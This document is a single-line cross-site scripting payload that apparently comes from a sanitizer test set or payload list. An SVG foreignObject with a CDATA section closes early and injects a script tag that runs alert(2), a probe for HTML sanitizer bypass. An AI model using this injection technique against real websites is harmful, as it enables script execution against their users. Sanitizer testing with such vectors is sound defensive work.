<svg><foreignObject><![CDATA[</foreignObject><script>alert(2)</script>]]></svg>
